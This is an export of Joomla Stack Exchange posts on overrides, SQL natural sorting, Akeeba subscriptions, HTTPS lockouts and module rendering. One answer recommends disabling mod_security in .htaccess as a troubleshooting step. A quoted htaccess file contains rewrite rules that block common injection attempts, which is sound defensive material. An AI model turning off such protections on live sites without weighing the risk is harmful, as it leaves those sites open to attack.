  <row Id="23949" PostTypeId="2" ParentId="23948" CreationDate="2018-12-21T12:37:01.540" Score="0" Body="&lt;p&gt;You need to add a xml file along with the php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the docs :&#xA;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-12-21T12:37:01.540" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23950" PostTypeId="2" ParentId="5687" CreationDate="2018-12-21T18:56:23.503" Score="2" Body="&lt;p&gt;Just in case anyone doing an editors-xtd plugin stumbles across this note that following the comment from papacho, you need to use &lt;code&gt;plgEditorsxtdMypluginnameInstallerScript&lt;/code&gt; with the hyphen removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus for plugin MyPluginName in the manifest &lt;code&gt;mypluginname.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.0&quot; type=&quot;plugin&quot; group=&quot;editors-xtd&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;...&#xA;&amp;lt;filename plugin=&quot;mypluginname&quot;&amp;gt;mypluginname.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the plugin file &lt;code&gt;mypluginname.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgButtonMypluginname extends JPlugin {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the &lt;code&gt;script.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgEditorsxtdMypluginnameInstallerScript {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;got there in the end... :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I can't work out why you use plgButton... in the plugin file but editors-xtd in the manifest and in the script (without the hyphen), but no other combination seems to work, so Hey Ho.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastEditorUserId="12352" LastEditDate="2018-12-21T21:26:09.847" LastActivityDate="2018-12-21T21:26:09.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23951" PostTypeId="2" ParentId="23945" CreationDate="2018-12-22T00:36:29.557" Score="0" Body="&lt;p&gt;As per &lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/technical-requirements&lt;/a&gt;, IIS and MS SQL are officially supported and there are some installation instructions at &lt;a href=&quot;https://docs.joomla.org/Installing_on_Microsoft&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Installing_on_Microsoft&lt;/a&gt; although these may be a little out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more rewarding Joomla experience, a better solution might be to install &lt;a href=&quot;https://en.wikipedia.org/wiki/WampServer&quot; rel=&quot;nofollow noreferrer&quot;&gt;WAMP&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-12-22T00:36:29.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23952" PostTypeId="2" ParentId="18984" CreationDate="2018-12-22T05:55:02.930" Score="1" Body="&lt;p&gt;Sometimes it helps (as a troubleshooting step at least) to disable mod_security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With many hosts, this can be done by adding the following code to your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;  SecFilterEngine Off&#xA;  SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/a/12928404/1983389&quot;&gt;https://stackoverflow.com/a/12928404/1983389&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-12-22T05:55:02.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23953" PostTypeId="1" AcceptedAnswerId="23954" CreationDate="2018-12-22T08:27:30.460" Score="1" ViewCount="291" Body="&lt;p&gt;When you have in a column a list of items such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title1&#xA;Title2&#xA;...&#xA;Title10&#xA;Title11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you filter on &lt;code&gt;Title&lt;/code&gt; (alphabetically), the output is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title1&#xA;Title10&#xA;Title11&#xA;Title2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want it to sort in the natural way, so that Title 10 and 11 will come on the end. I've tried to use &lt;code&gt;$listOrder = natsort($listOrder);&lt;/code&gt; but this has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this? Possibly in the SQL query?&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="12352" LastEditDate="2018-12-26T20:52:17.207" LastActivityDate="2018-12-26T20:57:23.190" Title="How to sort title of items with natural sort order?" Tags="|joomla-3.x|mysql|jdatabase|sorting|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23954" PostTypeId="2" ParentId="23953" CreationDate="2018-12-22T22:03:17.463" Score="0" Body="&lt;p&gt;For the record, php's &lt;a href=&quot;http://php.net/manual/en/function.natsort.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;natsort()&lt;/a&gt; returns &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; so your &lt;code&gt;$listOrder&lt;/code&gt; will always be overwritten as &lt;code&gt;true&lt;/code&gt; (unless something errs).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If the leading portion of your selection of titles is identical and the number is the earliest character(s) to change, then you can use &lt;code&gt;LOCATE()&lt;/code&gt; OR &lt;code&gt;INSTR()&lt;/code&gt; on the hyphen as the primary order condition and then the full value as the secondary condition in your &lt;code&gt;ORDER BY&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/ahk4r9YzVbrWzaCS99W8LT/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL Demo&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Schema:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `titles` (&#xA;  `title` varchar(255)&#xA;);&#xA;&#xA;INSERT INTO `titles` VALUES&#xA;('Chapter 1 - Enter the Dragon'),&#xA;('Chapter 2 - The Dragon Is In Da House'),&#xA;('Chapter 3 - Firebreather'),&#xA;('Chapter 4 - Of Course You\'re A Girl Dragon'),&#xA;('Chapter 5 - Spread Your Wings'),&#xA;('Chapter 6 - A Visit From Smaug'),&#xA;('Chapter 7 - Draggin\' On'),&#xA;('Chapter 8 - The Egg'),&#xA;('Chapter 9 - Hatched'),&#xA;('Chapter 10 - More Fire'),&#xA;('Chapter 11 - OMG, Is The Dragon Still Here?'),&#xA;('Chapter 12 - The Dragon Has Left The Building');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT LOCATE('-', title) AS position_of_hyphen, title FROM titles ORDER BY LOCATE('-', title), title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla ORDER BY Syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;order(&quot;LOCATE('-', title), title&quot;);&#xA;//                           ^^^^^- order ASC using full value if any ties to break&#xA;//       ^^^^^^^^^^^^^^^^^^- order ASC using the position of the earliest hyphen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result Set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| position_of_hyphen | title                                         |&#xA;| ------------------ | --------------------------------------------- |&#xA;| 11                 | Chapter 1 - Enter the Dragon                  |&#xA;| 11                 | Chapter 2 - The Dragon Is In Da House         |&#xA;| 11                 | Chapter 3 - Firebreather                      |&#xA;| 11                 | Chapter 4 - Of Course You're A Girl Dragon    |&#xA;| 11                 | Chapter 5 - Spread Your Wings                 |&#xA;| 11                 | Chapter 6 - A Visit From Smaug                |&#xA;| 11                 | Chapter 7 - Draggin' On                       |&#xA;| 11                 | Chapter 8 - The Egg                           |&#xA;| 11                 | Chapter 9 - Hatched                           |&#xA;| 12                 | Chapter 10 - More Fire                        |&#xA;| 12                 | Chapter 11 - OMG, Is The Dragon Still Here?   |&#xA;| 12                 | Chapter 12 - The Dragon Has Left The Building |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. For anyone else that doesn't have a reliable marker like &lt;code&gt;-&lt;/code&gt; to anchor the sort logic to... The second occurring space can be found by starting the search after the position of the first space with &lt;code&gt;LOCATE(' ', title, 9)&lt;/code&gt;.  If you don't know the position of the spaces in advance, but you know you want to find the position of the second space, you &lt;em&gt;could&lt;/em&gt; use: &lt;code&gt;LOCATE(' ', title, LOCATE(' ', title) + 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.p.s. You can get away with a single sort condition if you extract the whole numeric value between the first and second space and cast the substring as an integer.  &lt;a href=&quot;https://www.db-fiddle.com/f/ahk4r9YzVbrWzaCS99W8LT/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/ahk4r9YzVbrWzaCS99W8LT/2&lt;/a&gt;  &lt;code&gt;ORDER BY CAST(SUBSTRING_INDEX(SUBSTRING_INDEX(title, ' ', 2), ' ', -1) AS UNSIGNED)&lt;/code&gt; but then we are venturing into more and more function calls.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-26T20:57:23.190" LastActivityDate="2018-12-26T20:57:23.190" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23955" PostTypeId="1" AcceptedAnswerId="23956" CreationDate="2018-12-23T15:01:16.417" Score="0" ViewCount="49" Body="&lt;p&gt;I developed local payment gateway plugins for some Joomla components, and would love to sell them on my site, using Akeeba Release Systems and Akeeba Subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help put me through? The examples I see are for memberships, not software downloads, and frankly I need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to sell each plugin separately, and provide support for each one using Akeeba Tickets System - the subscriber should only have access to the private support channel for the plugin(s) he has subscribed to.&lt;/p&gt;&#xA;" OwnerUserId="5785" LastActivityDate="2018-12-23T19:54:19.570" Title="How to sell extensions using Akeeba Release Systems and Akeeba Subscriptions" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23956" PostTypeId="2" ParentId="23955" CreationDate="2018-12-23T19:54:19.570" Score="2" Body="&lt;p&gt;First of all, Akeeba Release System will manage the downloading and releasing of your plugins.&lt;/p&gt;&#xA;&lt;p&gt;You will need to create a user group and a view access level for each plugin file (an item of Akeeba Rlease System), where downloading this plugin file is allowed only for users with the corresponding user group and view access.&lt;/p&gt;&#xA;&lt;p&gt;On the other side, Akeeba subscriptions will manage the payments and subscriptions, you will create a subscription level for each plugin, each subscription level has 2 actions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add to Joomla! user groups&lt;/strong&gt;: Users will be added to these Joomla! user groups when their subscription to this level is enabled.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remove from Joomla! user groups&lt;/strong&gt;: Users will be removed from these Joomla! user groups when their subscription to this level is disabled.&lt;/p&gt;&#xA;&lt;p&gt;The level is enabled when a user finalizes the payment for it, and disabled when it is expired or cancelled for any reason.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So, Akeeba Subscriptions will handle adding/removing users to Joomla user groups, and Joomla user groups are having view access, also Akeeba release items/files are controlled by view access, so only users having a valid subscription will be able to access and download the plugin they paid for.&lt;/p&gt;&#xA;&lt;p&gt;I didn't play with Akeeba Tickets System, but I think it will integrate with Akeeba Subscriptions through the view access.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-12-23T19:54:19.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23957" PostTypeId="2" ParentId="14619" CreationDate="2018-12-23T20:20:28.420" Score="0" Body="&lt;p&gt;I realise this is old, but I came on it searching for something similar. So here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/frontend-user-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/frontend-user-manager/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12632" LastActivityDate="2018-12-23T20:20:28.420" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23958" PostTypeId="2" ParentId="9064" CreationDate="2018-12-24T17:07:32.293" Score="2" Body="&lt;p&gt;This can be done using the plugin helper&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::getPlugin('user','myplugin')-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However you'd probably want to check that getPlugin returned something before trying to access its &lt;code&gt;id&lt;/code&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working in 3.8.7, but I don't know when it was introduced.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastEditorUserId="9281" LastEditDate="2019-02-14T12:38:00.723" LastActivityDate="2019-02-14T12:38:00.723" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23960" PostTypeId="1" AcceptedAnswerId="23964" CreationDate="2018-12-25T15:24:57.013" Score="1" ViewCount="222" Body="&lt;p&gt;Yesterday I made a mistake: enabled force HTTPS and force SSL. And shortly I understood my mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to connect to host and change force_ssl from '2' to '0'. But site is still unaccessable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;htaccess.txt&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @version $Id: htaccess.txt 13415 2009-11-03 15:53:25Z ian $&#xA;# @package Joomla&#xA;# @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.&#xA;# @license http://www.gnu.org/copyleft/gpl.html GNU/GPL&#xA;# Joomla! is Free Software&#xA;##&#xA;&#xA;&#xA;#####################################################&#xA;#  READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;#&#xA;#####################################################&#xA;&#xA;##  Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&#xA;#&#xA;#  mod_rewrite in use&#xA;&#xA;RewriteEngine On&#xA;&#xA;########## Begin - Rewrite rules to block out some common exploits&#xA;## If you experience problems on your site block out the operations listed below&#xA;## This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;## Deny access to extension xml files (uncomment out to activate)&#xA;#&amp;lt;Files ~ &quot;\.xml$&quot;&amp;gt;&#xA;#Order allow,deny&#xA;#Deny from all&#xA;#Satisfy all&#xA;#&amp;lt;/Files&amp;gt;&#xA;## End of deny access to extension xml files&#xA;RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]&#xA;# Block out any script trying to base64_encode crap to send via URL&#xA;RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL&#xA;RewriteCond %{QUERY_STRING} (\&amp;lt;|%3C).*script.*(\&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Send all blocked request to homepage with 403 Forbidden error!&#xA;RewriteRule ^(.*)$ index.php [F,L]&#xA;#&#xA;########## End - Rewrite rules to block out some common exploits&#xA;&#xA;#  Uncomment following line if your webserver's URL&#xA;#  is not directly related to physical file paths.&#xA;#  Update Your Joomla! Directory (just / for root)&#xA;&#xA;# RewriteBase /&#xA;&#xA;&#xA;########## Begin - Joomla! core SEF Section&#xA;#&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !^/index.php&#xA;RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$  [NC]&#xA;RewriteRule (.*) index.php&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]&#xA;#&#xA;########## End - Joomla! core SEF Section&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I disable force HTTPS? Which file I need to change?&lt;/p&gt;&#xA;" OwnerUserId="13177" LastEditorUserId="13177" LastEditDate="2018-12-25T23:06:05.477" LastActivityDate="2018-12-27T23:11:59.590" Title="Unable to access site after force https and ssl" Tags="|ssl|https|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23961" PostTypeId="2" ParentId="13650" CreationDate="2018-12-26T12:29:15.017" Score="0" Body="&lt;pre&gt;&lt;code&gt;echo $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will do fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this makes use of this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo($query-&amp;gt;__toString());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2018-12-26T12:29:15.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23962" PostTypeId="1" CreationDate="2018-12-26T13:08:09.470" Score="1" ViewCount="64" Body="&lt;p&gt;I have layout that is like this LEFT - COMPONENT - RIGHT. I have NEWS page where I have my news in COMPONENT area and modules (search, news archive etc) on the right side. When I open my site on mobile my RIGHT modules are at the bottom of the page and actual news at the top. Is there any way to change an order of modules in mobile version of site? So on mobile version my RIGHT modules will be at the top and after them will be my actual news. &lt;/p&gt;&#xA;" OwnerUserId="13178" LastActivityDate="2019-06-25T15:00:45.723" Title="Right modules to the top on mobile (responsive) version" Tags="|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23963" PostTypeId="2" ParentId="23962" CreationDate="2018-12-26T13:36:50.447" Score="1" Body="&lt;p&gt;It will depend on the specific template you are using, but most likely you will need to update the css and html of your template.&lt;br&gt;&#xA;If you have the relevant coding skills, you can do this with an override - see &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some third party templates may have parameters to allow you to make some tweaks to the layout without coding skills, but this is not particularly common.  Template parameters are also under the template manager.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-12-26T13:36:50.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23964" PostTypeId="2" ParentId="23960" CreationDate="2018-12-27T21:26:10.360" Score="1" Body="&lt;p&gt;Thank all of you for help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem why changing 2 to 0 in force_ssl did not helped was Chrome cache. Appearently Chrome saved that this site is https and do not allowed to go to http. Crearing cache solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I still want to get site working on HTTPS. But this will be separate case.&lt;/p&gt;&#xA;" OwnerUserId="13177" LastEditorUserId="13177" LastEditDate="2018-12-27T23:11:59.590" LastActivityDate="2018-12-27T23:11:59.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23965" PostTypeId="1" CreationDate="2018-12-28T04:04:24.643" Score="0" ViewCount="116" Body="&lt;p&gt;I am writing PHP API for Joomla3.9  website where I need to deliver the HTML produced by mod_articles_category modules. &#xA;I tried blow code to get Module HTML output but it does not working any more&#xA;It shoiwng the erro someting like that  &quot;Call to a member function get() on null&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1); &#xA;include_once DIR . '/defines.php';&#xA;require_once JPATH_BASE . '/includes/defines.php'; &#xA;require_once JPATH_BASE . '/includes/framework.php'; &#xA;$app      = JFactory::getApplication('site');&#xA;&#xA;jimport('joomla.application.module.helper'); &#xA;&#xA;$document = JFactory::getDocument();&#xA;$renderer = $document-&amp;gt;loadRenderer('module'); &#xA;$module   = JModuleHelper::getModule('mod_articles_category', 'Module title I used here'); &#xA;&#xA;echo $renderer-&amp;gt;render($module); &#xA;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically  I need this module HTML  output in the same way as it render on Joomla pages so that I can send this out to REST API user. It showi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest me &lt;/p&gt;&#xA;" OwnerUserId="13181" LastEditorUserId="13181" LastEditDate="2018-12-28T16:25:03.930" LastActivityDate="2024-01-02T03:01:35.200" Title="How to render mod_articles_category using custom php code?" Tags="|module|joomla-3.6|module-display|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23966" PostTypeId="2" ParentId="23965" CreationDate="2018-12-28T05:29:10.310" Score="0" Body="&lt;p&gt;Use &lt;code&gt;JModuleHelper::renderModule($module)&lt;/code&gt;  instead of &lt;code&gt;$renderer-&amp;gt;render($module)&lt;/code&gt; also add code in your question along with the value of $module object, so we can understand your issue better and provide solutions accordingly.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-12-28T05:29:10.310" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23967" PostTypeId="1" CreationDate="2018-12-28T09:58:33.043" Score="0" ViewCount="46" Body="&lt;p&gt;I working on a simple module that have a simple backend form composed with custom field and I looking for a event or something else to process something during it submition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the way to to do something when i click save from my admin form of this module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :) &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I looking for how to do something specific when the save button of the module is clicked. In this case, I have a image upload field and when i click on the save button, I want to create thumbnails from this image. And only at this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have look to add a field hidden like is_submit to do something if this POST value is submit but if this value is write in the database and loaded all times with the module, I'm not sure the form is really submit by the user...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone have a idea to do this simply (without ajax if possible). ;) &lt;/p&gt;&#xA;" OwnerUserId="13182" LastEditorUserId="13182" LastEditDate="2018-12-29T07:40:49.150" LastActivityDate="2019-09-25T09:02:50.360" Title="Using plugins into modules" Tags="|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23969" PostTypeId="2" ParentId="23967" CreationDate="2018-12-28T14:37:29.637" Score="1" Body="&lt;p&gt;You can submit the data by ajax or by regular post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 'target' is not a regular component controller, but a custom action, then you can use joomla com_ajax interface so that the module post the data to it's own handler.&#xA;see: &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface#Module_Support&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface#Module_Support&lt;/a&gt;&#xA;and here an example of such module:&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12604" LastActivityDate="2018-12-28T14:37:29.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23970" PostTypeId="1" AcceptedAnswerId="24865" CreationDate="2018-12-28T15:11:20.293" Score="2" ViewCount="163" Body="&lt;p&gt;I know in a template you can add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;newposition&quot;   /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then within the positions tags you add your new position.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;positions&amp;gt;&#xA;     &amp;lt;position&amp;gt;newposition&amp;lt;/position&amp;gt;&#xA;&amp;lt;/positions&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I also know you can just create a position out of nowhere by typing it in the module back end in the position slot.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5fBdZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fBdZ.jpg&quot; alt=&quot;Adding a new module position in the Joomla! module backend&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you can do module loadposition.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition some_position}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I echo this text in my module it's just text (a string).  If I echo the XML that's also a string, but I never expected that to work as it's not in the XML file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a module position within a module?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rather do this the built in Joomla! way than using any extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried it with a content prepare plugin but I would rather try Sharky's method but I cannot get it working.  Here is what I have tried.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;use Joomla\CMS\Factory;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;ui-nav ui-nav-mobile&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;g-content&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;ui-btn ui-menu-close&quot;&amp;gt;Close &amp;lt;i class=&quot;fa fa-close&quot; aria-label=&quot;Close dialog&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;        &#xA;    &amp;lt;?php&#xA;        foreach ($subform_items as $item) {&#xA;            $position_name = &quot;{loadposition &quot; . $item-&amp;gt;position_name_x . &quot;}&quot;;&#xA;         $modulePositions = JHtml::_('content.prepare', $position_name, '', 'mod_koy_sticky_contact.content');&#xA;            //$modulePositions = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render($position_name);&#xA;            echo &quot;&amp;lt;div class='&quot; . $item-&amp;gt;position_name_x . &quot;'&amp;gt;&quot; . $modulePositions . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The commented out part shows a blank, but the other version works.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-07-16T14:49:16.657" LastActivityDate="2019-07-16T14:49:16.657" Title="Is it possible to add a new module position within a module?" Tags="|module|module-display|custom-module|positions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
